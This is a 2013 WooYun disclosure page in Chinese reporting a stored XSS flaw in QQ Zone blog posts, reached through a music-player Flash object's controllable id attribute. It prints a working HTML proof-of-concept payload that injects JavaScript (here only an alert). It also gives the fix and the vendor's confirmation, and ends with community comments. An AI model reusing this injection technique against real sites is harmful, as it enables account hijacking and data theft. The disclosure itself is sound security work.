当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-021020

漏洞标题：QQ空间某功能缺陷导致日志存储型XSS - 12

相关厂商：腾讯

漏洞作者： gainover

提交时间：2013-03-31 16:28

修复时间：2013-05-15 16:29

公开时间：2013-05-15 16:29

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-03-31： 细节已通知厂商并且等待厂商处理中
2013-04-01： 厂商已经确认，细节仅向厂商公开
2013-04-11： 细节向核心白帽子及相关领域专家公开
2013-04-21： 细节向普通白帽子公开
2013-05-01： 细节向实习白帽子公开
2013-05-15： 细节向公众公开

简要描述：

乌云报告的某已知缺陷，不知道腾讯对此问题之前是如何修复的， 或者是开发人员仍未对这个问题有足够的重视？

详细说明：

漏洞具体原因已经在 WooYun: [腾讯实例教程] 那些年我们一起学XSS - 21. 存储型XSS进阶 [猜测规则，利用Flash addCallback构造XSS] 有相关报告：
1. 插入音乐播放器时，代码中 object 的 allowscriptaccess 参数为always.
2. 音乐播放器的FLASH代码中，存在addCallback
3. object 的 id 可控
基于以上条件后，则可以构造以下代码：

<div class="blog_details_20120222"><div><object codeBase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="410" height="100" src="http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" bgcolor="#ffffff" menu="true" allowScriptAccess="always" name="musicFlash**" id="aaaa&quot;),(function(){if(!window.x){window.x=1;alert(1)}})(),(&quot;" ubb="1803680|3|http://stream6.qqmusic.qq.com/1803680.wma|I Do|7048|xxxx(Various Artist,xxxx)|0" class="blog_music"><param name="movie" value="http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="data" value="http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="bgColor" value="#ffffff" /><param name="menu" value="true" /><param name="allowScriptAccess" value="always" /></object> <br><br></div></div>


4. IE下可触发XSS，此处仅弹窗，更标准的利用见之前报告。

1.jpg

漏洞证明：

见详细说明

修复方案：

要求开发人员注意：如果object标签的allowscriptaccess="always"或者"sameDomain"(默认),且调用的FLASH中存在addCallback，则一定要对id进行过滤。

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-04-01 09:57

厂商回复：

感谢，已在处理中。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-03-31 16:30 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    沙发~

  2. 2013-03-31 16:32 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    难道是我一年前报的刷蚊子么~~

  3. 2013-03-31 16:33 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    关注

  4. 2013-03-31 16:37 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

    无语观看～

  5. 2013-03-31 17:26 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    太给力咯！

  6. 2013-03-31 17:42 | dyun ( 普通白帽子 | Rank:102 漏洞数:15 | [code][/code])

    这是要连续 暴走呀~~~

  7. 2013-03-31 17:47 | lucky ( 普通白帽子 | Rank:409 漏洞数:81 | 三人行必有我师焉########################...)

    这是要连续 暴走呀~~~

  8. 2013-03-31 19:10 | rasca1 ( 实习白帽子 | Rank:53 漏洞数:16 | 菜鸟一只)

    二哥想逆天 我靠，支持连续剧，

  9. 2013-03-31 19:11 | rasca1 ( 实习白帽子 | Rank:53 漏洞数:16 | 菜鸟一只)

    什么叫跨站师，

  10. 2013-03-31 20:54 | 杀戮 ( 普通白帽子 | Rank:141 漏洞数:19 | 我，是来打酱油的。)

    我觉得，好像没感觉了

  11. 2013-03-31 21:46 | Yaseng ( 实习白帽子 | Rank:62 漏洞数:7 | 干)

    膜拜之

  12. 2013-04-01 09:48 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:41 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @px1624 腾讯这次做漏洞复现和修复的，貌似是新来不久的一个妹纸。。。前几天提交的搜搜问问存储型XSS，就是这个妹纸修复的。。目测应该还是她。。。

  13. 2013-04-01 10:56 | 黑色的屌丝 ( 路人 | Rank:27 漏洞数:5 | →_→→_→)

    求100级集连续剧更新

  14. 2013-04-01 12:10 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号，并不存在实体...)

    不要一千八，不要九九八，只要十八个QQ空间漏洞腾讯妹子带回家。二哥，我看好你哦~

  15. 2013-04-01 12:52 | 闪电小子 ( 实习白帽子 | Rank:63 漏洞数:4 | PKAV技术宅社区！---闪电小子！)

    @心伤的瘦子 ls+1，二哥看好你喔。

  16. 2013-04-01 14:11 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @鬼魅羊羔 不同产品，应该不是相同的人负责的。

  17. 2013-04-02 08:28 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:41 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @gainover 嗯，估计也是。。。二哥，后续的，写的稍微详细点，我们好做参考，O(∩_∩)O哈哈~

  18. 2013-04-07 10:11 | erevus ( 普通白帽子 | Rank:177 漏洞数:30 | Hacked by @ringzero 我錯了)

    那个程序员估计要疯掉了....假如真如楼上说是个妹纸...估计能连载上20了.......猫哥准备有女朋友咯

  19. 2013-04-19 17:38 | rasca1 ( 实习白帽子 | Rank:53 漏洞数:16 | 菜鸟一只)

    二哥快挖洞，有屌丝快要超越你了

  20. 2013-04-26 11:15 | 堕络 ( 路人 | Rank:20 漏洞数:2 | 一个新手菜鸟 求关爱)

    好吧 連載52集大型qq空間存儲xss

  21. 2013-09-17 04:14 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:79 )

    洞主已经无敌了。。。

  22. 2013-10-11 19:32 | alou ( 路人 | Rank:0 漏洞数:3 | PHP屌丝一枚)

    一切我看不懂的文章,作者都被我视为大牛,我向往的目标啊

  23. 2014-09-20 20:05 | laoyao ( 路人 | Rank:14 漏洞数:3 | ด้้้้้็็็็็้้้้้็็็็...)

    1